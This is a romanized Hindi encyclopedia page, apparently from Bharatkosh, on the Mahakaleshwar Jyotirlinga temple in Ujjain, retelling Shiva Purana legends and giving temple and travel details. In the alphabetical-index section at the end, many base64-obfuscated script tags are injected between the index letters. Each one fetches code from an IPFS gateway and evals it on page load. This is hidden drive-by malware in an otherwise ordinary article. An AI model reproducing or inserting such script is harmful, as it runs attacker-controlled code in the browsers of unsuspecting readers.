महाकालेश्वर

thumb|mahakaleshvar mandir
Mahakaleshwar Temple|250px shri mahakaleshvar jyotirliang madhy pradesh ke ujjain janapad mean avasthit hai. ujjain ka puranoan aur prachin any granthoan mean 'ujjayini' tatha 'avantikapuri' ke nam se ullekh kiya gaya hai. yah sthan malava kshetr mean sthit kshipra nadi ke kinare vidyaman hai. avantipuri ki ganana sat mokshadayini puriyoan mean ki gee hai-

ayodhya mathura maya kashi kaanchi hyavantika.
puri dvaravati chaiv saptaita mokshadayikaah..

maharaja vikramadity dvara nirman

isi mahakaleshvar ki nagari mean maharaja vikramadity ne chaubis khamboan ka darabar-mandap banavaya tha. mangal grah ka janmasthan mangalashver bhi yahian sthit hai. itihas prasiddh bhartrihari ki gupha tatha maharshi sandipani ka ashram yahian virajaman hai. shri krishnachandr aur balaram ji ne isi sandipani ashram mean vidya ka adhyayan kiya tha. isi ujjayini nagari mean param pratapi maharaj vir vikramadity ki rajadhani thi. jab sianh rashi par brihaspati grah ka agaman hota hai, to yahaan pratyek barah varsh par mahakumbh ka snan aur mela lagata hai.

shiv mahapuran mean varnit katha

samast dehadhariyoan ko moksh pradan karane vali ek prasiddh aur atyant avanti nam ki nagari hai. lok pavani param punyadayini aur kalyan-karini vah nagari bhagavan shiv ji ko atyant priy hai. usi pavitr puri mean shubh karmaparayan tatha sada vedoan ke svadhyay mean lage rahane vale ek uttam brahman raha karate the. ve apane ghar mean agni ki sthapana kar pratidin agnihotr karate the aur vaidik karmoan ke anushthan mean lage rahate the. bhagavan shankar ke bhakt ve brahman shiv ji ki archana-vandana mean tatpar raha karate the. ve pratidin parthiv liang ka nirman kar shastr vidhi se usaki pooja karate the. hamesha uttam jnan ko prapt karane mean tatpar us brahman devata ka nam ‘vedapriy’ tha. vedapriy svayan hi shiv ji ke anany bhakt the, jisake sanskar ke phalasvaroop unake shiv pooja-parayan hi char putr hue. ve tejasvi tatha mata-pita ke sadgunoan ke anuroop the. un charoan putroan ke nam 'devapriy', 'priyamedha', 'sanskrit' aur 'suvrit' the.

ratnamal parvat par ‘dooshan’ nam vale dharm virodhi ek asur ne ved, dharm tatha dharmatmaoan par akraman kar diya. us asur ko brahma se ajeyata ka var mila tha. sabako satane ke bad ant mean us asur ne bhari sena lekar avanti (ujjain) ke un pavitr aur karmanishth brahmanoan par bhi chadhaee kar di. us asur ki ajna se char bhayanak daity charoan dishaoan mean pralayakal ki ag ke saman prakat ho gaye. unake bhayankar upadrav se bhi shiv ji par vishvas karane vale ve brahmanabandhu bhayabhit nahian hue. avanti nagar ke nivasi sabhi brahman jab us sankat mean ghabarane lage, tab un charoan shivabhakt bhaiyoan ne unhean ashvasan dete hue kaha- ‘ap log bhaktoan ke hitakari bhagavan shiv par bharosa rakhean.’ usake bad ve charoan brahman-bandhu shiv ji ka poojan kar unake hi dhyan mean tallin ho gaye.

sena sahit dooshan dhyan magn un brahmanoan ke pas pahuanch gaya. un brahmanoan ko dekhate hi lalakarate hue bol utha ki inhean baandhakar mar dalo. vedapriy ke un brahman putroan ne us daity ke dvara kahi gee batoan par kan nahian diya aur bhagavan shiv ke dhyan mean magn rahe. jab us dusht daity ne yah samajh liya ki hamare daant-dapat se kuchh bhi parinam nikalane vala nahian hai, tab usane brahmanoan ko mar dalane ka nishchay kiya.

usane jyoanhi un shiv bhaktoan ke pran lene hetu shastr uthaya, tyoanhi unake dvara poojit us parthiv liang ki jagah gambhir aval ke sath ek gadadha prakat ho gaya aur tatkal us gaddhe se vikat aur bhayankar roopadhari bhagavan shiv prakat ho gaye. dushtoan ka vinash karane vale tatha sajjan purushoan ke kalyanakartta ve bhagavan shiv hi mahakal ke roop mean is prithvi par vikhyat hue. unhoanne daityoan se kaha- ‘are dushtoan! tujh jaise hatyaroan ke lie hi maian ‘mahakal’ prakat hua hooan. jaldi in brahmanoan ke samip se door bhag jao.

is prakar dhamakate hue mahakal bhagavan shiv ne apane huankar matr se hi un daityoan ko bhasm kar dala. dooshan ki kuchh sena ko bhi unhoanne mar giraya aur kuchh svayan hi bhag kh di huee. is prakar paramatma shiv ne dooshan namak daity ka vadh kar diya. jis prakar soory ke nikalate hi andhakar chhant jata hai, usi prakar bhagavan ashutosh shiv ko dekhate hi sabhi daity sainik palayan kar gaye. devataoan ne prasannatapoorvak apani dandubhiyaan bajayian aur akash se phooloan ki varsha ki. un shivabhakt brahmanoan par ati prasann bhagavan shankar ne unhean ashvast karate hue kaha ki ‘mai mahakal maheshvar tum logoan par prasann hooan, tum log var maango.’

mahakaleshvar ki vani sunakar bhakti bhav se poorn un brahmanoan ne hath jo dakar vinamratapoorvak kaha- 'dushtoan ko dand dene vale mahakal! shambho! ap ham sabako is sansar-sagar se mukt kar dean. he bhagavan shiv! ap am janata ke kalyan tatha unaki raksha karane ke lie yahian hamesha ke lie virajie. prabho! ap apane darshanarthi manushyoan ka sada uddhar karate rahean.’

bhagavan shankar ne un brahmanoan ko sadgati pradan ki aur apane bhaktoan ki suraksha ke lie us gaddhe mean sthit ho gaye. us gaddhe ke charoan or ki lagabhag tin-tin kilomitar bhoomi liang roopi bhagavan shiv ki sthali ban gee. aise bhagavan shiv is prithvi par mahakaleshvar ke nam se prasiddh hue.

mahakaleshvar jyotirliang ka darshan karane se svapn mean bhi kisi prakar ka duahkh athava sankat nahian ata hai. jo koee bhi manushy sachche man se mahakaleshvar liang ki upasana karata hai, usaki sari manokamanaean poorn ho jati haian aur vah paralok mean mokshapad ko prapt karata hai-

mahakaleshvaro nam shivah khyatashch bhootale.
tan dushtva n bhaveth svapne kianchidaduahkhamapi dvijaah..
yan yan kamamapedayaiv talligan bhajate tu yah .
tan tan kamamavapneti labhenmokshan paratr ch^[1]..

any kathanak

ujjayini nagari mean mahanh shivabhakt tatha jitendriy chandrasen namak ek raja the. unhoanne shastroan ka gambhir adhyayan kar unake rahasyoan ka jnan prapt kiya tha. unake sadacharan se prabhavit hokar shivaji ke parshadoan (ganoan) mean agrani (mukhy) manibhadr ji raja chandrasen ke mitr ban gaye. manibhadr ji ne ek bar raja par atishay prasann hokar raja chandrasen ko chintamani namak ek mahamani pradan ki. vah mahamani kaustubh mani aur soory ke saman dedipyaman (chamakadar) thi. vah maha mani dekhane, sunane tatha dhyan karane par bhi, vah manushyoan ko nishchit hi mangal pradan karati thi.

raja chanadrasen ke gale mean amooly chintamani shobha pa rahi hai, yah janakar sabhi rajaoan mean us mani ke prati lobh badh gaya. chintamani ke lobh se sabhi raja kshubhit hone lage. un rajaoan ne apani chaturangini sena taiyar ki aur us chintamani ke lobh mean vahaan a dhamake. chandrasen ke viruddh ve sabhi raja ek sath milakar ekatrit hue the aur unake sath bhari sainyabal bhi tha. un sabhi rajaoan ne apas mean paramarsh karake rananiti taiyar ki aur raja chandrasen par akraman kar diya. sainikoan sahit un rajaoan ne charoan or se ujjayini ke charoan dvaroan ko gher liya. apani puri ko charoan or se sainikoan dvara ghiri huee dekhakar raja chandrasen mahakaleshvar bhagavan shiv ki sharan mean pahuanch gaye. ve nishchhal man se dridh nishchay ke sath upavas-vrat lekar bhagavan mahakal ki aradhana mean jut gaye.

un dinoan ujjayini mean ek vidhava gvalin rahati thi, jisako ikalauta putr tha. vah is nagari mean bahut dinoan se rahati thi. vah apane us paanch varsh ke balak ko lekar mahakaleshvar ka darshan karane hetu gee. usane dekha ki raja chandrasen vahaan b di shraddhabhakti se mahakal ki pooja kar rahe haian. raja ke shiv poojan ka mahotsav use bahut hi ashcharyamay laga. usane poojan ko niharate hue bhakti bhavapoorvak mahakal ko pranam kiya aur apane nivas sthan par laut gayi. us gvalin mata ke sath usake balak ne bhi mahakal ki pooja ka kautoohalapoorvak avalokan kiya tha. isalie ghar vapas akar usane bhi shiv ji ka poojan karane ka vichar kiya. vah ek sundar-sa patthar dhooandhakar laya aur apane nivas se kuchh hi doori par kisi any ke nivas ke pas ekant mean rakh diya.

usane apane man mean nishchay karake us patthar ko hi shivaliang man liya. vah shuddh man se bhakti bhavapoorvak manasik roop se gandh, dhoop, dip, naivedy aur alankar adi jutakar, unase us shivaliang ki pooja ki. vah sundar-sundar pattoan tatha phooloan ko bar-bar poojan ke bad us balak ne bar-bar bhagavan ke charanoan mean mastak lagaya. balak ka chitt bhagavan ke charanoan mean asakt tha aur vah vihval hokar unako dandavat kar raha tha. usi samay gvalin ne bhojan ke lie apane putr ko prem se bulaya. udhar us balak ka man shiv ji ki pooja mean rama hua tha, jisake karan vah bahar se besudh tha. mata dvara bar-bar bulane par bhi balak ko bhojan karane ki ichchha nahian huee aur vah bhojan karane nahian gaya tab usaki maan svayan uthakar vahaan a gayi.

maan ne dekha ki usaka balak ek patthar ke samane aankhean band karake baitha hai. vah usaka hath pak dakar bar-bar khianchane lagi par is par bhi vah balak vahaan se nahian utha, jisase usaki maan ko krodh aya aur usane use khoob pita. is prakar khianchane aur marane-pitane par bhi jab vah balak vahaan se nahian hata, to maan ne us patthar ko uthakar door pheank diya. balak dvara us shivaliang par chadhaee gee samagri ko bhi usane nasht kar diya. shiv ji ka anadar dekhakar balak ‘hay-hay’ karake ro p da. krodh mean agababoola huee vah gvalin apane bete ko daant-phatakar kar punah apane ghar mean chali gee. jab us balak ne dekha ki bhagavan shiv ji ki pooja ko usaki mata ne nasht kar diya, tab vah bilakh-bilakh kar rone laga. dev! dev! mahadev! aisa pukarata hua vah sahasa behosh hokar prithvi par gir p da. usaki aankhoan se aansuoan ki jh di lag gee. kuchh der bad jab use chetana ayi, to usane apani band aankhean khol dian.

us balak ne aankhean kholane ke bad jo drishy dekha, usase vah ashchary mean p d gaya. bhagavan shiv ki kripa se us sthan par mahakal ka divy mandir kh da ho gaya tha. maniyoan ke chamakile khambe us mandir ki shobha badha rahe the. vahaan ke bhootal par sphatik mani j d di gayi thi. tapaye gaye damakate hue svarn-shikhar us shivalay ko sushobhit kar rahe the. us mandir ke vishal dvar, mukhy dvar tatha unake kapat suvarn nirmit the. us mandir ke samane nilamani tatha hire j de bahut se chabootare bane the. us bhavy shivalay ke bhitar madhy bhag mean (garbhagrih) karunavarunalay, bhootabhavan, bholanath bhagavan shiv ka ratnamay liang pratishthit hua tha.

gvalin ke us balak ne shivaliang ko b de dhyanapoorvak dekha usake dvara chadhaee gee sabhi poojan-samagri us shivaliang par susajjit p di huee thi. us shivaliang ko tatha usapar usake hi dvara chadhaee poojan-samagri ko dekhate-dekhate vah balak uth kh da hua. use man hi man ashchary to bahut hua, kintu vah paramand sagar mean gote lagane laga. usake bad to usane shiv ji ki dher-sari stutiyaan kian aur bar-bar apane mastak ko unake charanoan mean lagaya. usake bad jab sham ho gayi, to sooryast hone par vah balak shivalay se nikal kar bahar aya aur apane nivas sthal ko dekhane laga. usaka nivas devataoan ke raja indr ke saman shobha pa raha tha. vahaan sab kuchh shighr hi suvarnamay ho gaya tha, jisase vahaan ki vichitr shobha ho gee thi. param ujjval vaibhav se sarvatr prakash ho raha tha. vah balak sab prakar ki shobhaoan se sampann us ghar ke bhitar pravisht hua. usane dekha ki usaki mata ek manohar palang par so rahi haian. usake aangoan mean bahumooly ratnoan ke alankar shobha pa rahe haian. ashchary aur prem mean vihval us balak ne apani mata ko b de zor se uthaya. usaki mata bhi bhagavan shiv ki kripa prapt kar chuki thi. jab us gvalin ne uthakar dekha, to use sab kuchh apoorv 'vilakshan' sa dekhane ko mila. usake anand ka thikana n raha. usane bhavavibhor hokar apane putr ko chhati se laga liya. apane bete ke bhootesh shiv ke kripa prasad ka sampoorn varnan sunakar us gvalin ne raja chandrasen ko soochit kiya. nirantar bhagavan shiv ke bhajan-poojan mean lage rahane vale raja chandrasen apana nity-niyam poora kar ratri ke samay pahuanche. unhoanne bhagavan shankar ko santusht karane vale gvalin ke putr ka vah prabhav dekha. ujjayini ko charoan or se gher kar yuddh ke lie kh de un rajaoan ne bhi guptacharoan ke mukh se prat:kal us adbhut vrittant ko suna. is vilakshan ghatana ko sunakar sabhi naresh ashcharyachakit ho uthe. un rajaoan ne apas mean milakar pun: vichar-vimarsh kiya. paraspar batachit mean unhoanne kaha ki raja chandrasen mahanh shiv bhakt hai, isalie in par vijay prapt karana atyant kathin hai. ye sabhi prakar se nirbhay hokar mahakal ki nagari ujjayini ka palan-poshan karate haian. jab is nagari ka ek chhota balak bhi aisa shivabhakt hai, to raja chandrasen ka mahanh shivabhakt hona svabhavik hi hai. aise raja ke sath virodh karane par nishachay hi bhagavan shiv krodhit ho jaeange. shiv ke krodh karane par to ham sabhi nasht hi ho jaeange. isalie hamean is naresh se dushmani n karake mel-milap hi kar lena chahie, jisase bhagavan maheshvar ki kripa hamean bhi prapt hogi-

eedrishashishashavo yasy puyarya santi shivavrata:.
s raja chandrasenastu mahashankarasevak:..
noonamasy virodhen shiv: krodhan karishyati.
tatkrodhaddhi vayan sarve bhavishyamo vinashtaka:..
tasmadanen rajna vai milay: kary ev hi.
evan sati maheshan: karishyati kripa paramh..

yuddh ke lie ujjayini ko ghere un rajaoan ka man bhagavan shiv ke prabhav se nirmal ho gaya aur shuddh hriday se sabhi ne hathiyar dal diye. unake man se raja chandrasen ke prati bair bhav nikal gaya aur unhoanne mahakaleshvar poojan kiya. usi samay param tejasvi shri hanuman vahaan prakat ho gaye. unhoanne gop-balak ko apane hriday se lagaya aur rajaoan ki or dekhate hue kaha- ‘rajaoan! tum sab log tatha any dehadharigan bhi dhyanapoorvak hamari batean sunean. maian jo bat kahooanga usase tum sab logoan ka kalyan hoga. unhoanne bataya ki ‘shariradhariyoan ke lie bhagavan shiv se badhakar any koee gati nahian hai arthat maheshvar ki kripa-prapti hi moksh ka sabase uttam sadhan hai. yah param saubhagy ka vishay hai ki is gop kumar ne shivaliang ka darshan kiya aur usase prerana lekar svayan shiv ki pooja mean pravritt hua. yah balak kisi bhi prakar ka laukik athava vaidik mantr nahian janata hai, kintu isane bina mantr ka prayog kiye hi apani bhakti nishtha ke dvara bhagavan shiv ki aradhana ki aur unhean prapt kar liya. yah balak ab gop vansh ki kirti ko badhane vala tatha uttam shivabhakt ho gaya hai. bhagavan shiv ki kripa se yah is lok ke sampoorn bhogoan ka upabhog karega aur ant mean moksh ko prapt kar lega. isi balak ke kul mean isase athavian pidhi mean mahayashasvi nand utpann hoange aur unake yahaan hi sakshat narayan ka pradurbhav hoga. ve bhagavan narayan hi nand ke putr ke roop mean prakat hokar shrikrishna ke nam se jagath mean vikhyat hoange. yah gop balak bhi, jis par ki bhagavan shiv ki kripa huee hai, ‘shrikar’ gop ke nam se vishesh prasiddhi prapt karega.

shiv bhakt hanuman

shiv ke hi pratinidhi vanararaj hanuman ji ne samast rajaoan sahit raja chandrasen ko apani kripadrishti se dekha. usake bad ativ prasannata ke sath unhoanne gop balak shrikar ko shiv ji ki upasana ke sambandh mean bataya.

pooja-archana ki jo vidhi aur achar-vyavahar bhagavan shankar ko vishesh priy hai, use bhi shri hanuman ji ne vistar se bataya. apana kary poora karane ke bad ve samast bhoopaloan tatha raja chandrasen se aur gop balak shrikar se vida lekar vahian par tatkal arntadhan ho gaye. raja chandrasen ki ajna prapt kar sabhi naresh bhi apani rajadhaniyoan ko vapas ho gaye.

is prakar ‘mahakal’ namak yah shivaliang shiv bhaktoan ka param ashray hai, jisaki pooja se bhakt-vatsal maheshvar shighr prasann hote haian. ye bhagavan shiv dushtoan ke sanharak haian, isalie inaka nam ‘mahakal’ hai. ye kal arthat mrityu ko bhi jitane vale haian, isalie inhean ‘mahakaleshvar’ kaha jata haian. bhagavan shiv bhayankar ‘huankar’ ke sath prakat hue the, isalie bhi inaka nam ‘mahakal’ se prasiddh hua hai.

bhavy mandir

ujjain mean sthit mahakal jyotirliang ka bhavy mandir paanch manzil vala hai tatha kshipra nadi se kuchh doori par avasthit hai. mandir ke oopari bhag mean shri oankareshvar vidyaman haian. yatayat-vyavastha aur suraksha-suvidha ki drishti se tirthayatri darshanarthiyoan ko pankti mean hokar sarovar ke kinare kinare se oopar ki manzil mean jana p data hai. vahaan se sankari gali ki sidhiyaan utarakar mandir ki nichale satah par ana p data hai jahaan bhootal par mahakaleshvar ka jyotirliang sthapit hai. yah shivaliang samatal bhoomi se bhi kuchh niche hai. yahaan ke ramaghat aur kotitirth namak kundoan mean bhi snan kiya jata hai tatha pitaroan ka shraddh bhi vihit hai arthat yahaan pitrishraddh karane ka bhi vidhan hai. in kundoan ke pas hi agastyeshvar, kodhishvar, kedareshvar tatha harasiddhi devi adi ke darshan karate hue mahakaleshvar ke darshan hetu jaya jata hai.

poojan

mahakaleshvar jyotirliang ki prat:kal ki pooja mean anivary roop se sava man chita ki bhasm sammilit ki jati hai. chita ki bhasm se vibhooshit mahakaleshvar ka darshan atyant punyadayi hota hai.

kaise pahuanchean

yahaan madhy relave ki bhopal - ujjain aur agara - ujjain relave lainean haian tatha pashchimi relave ki nagada - ujjain tatha phatehabad - ujjain relamarg ki vyavastha haian.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ shivamahapuran kotirudrasahianta 16/50-51

sanbandhit lekh

suvyavasthit lekh|link=bharatakosh:suvyavasthit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>au <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aan <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> k <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>kh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> g <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ch <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> j <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri 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[1] shivamahapuran kotirudrasahianta 16/50-51

[1]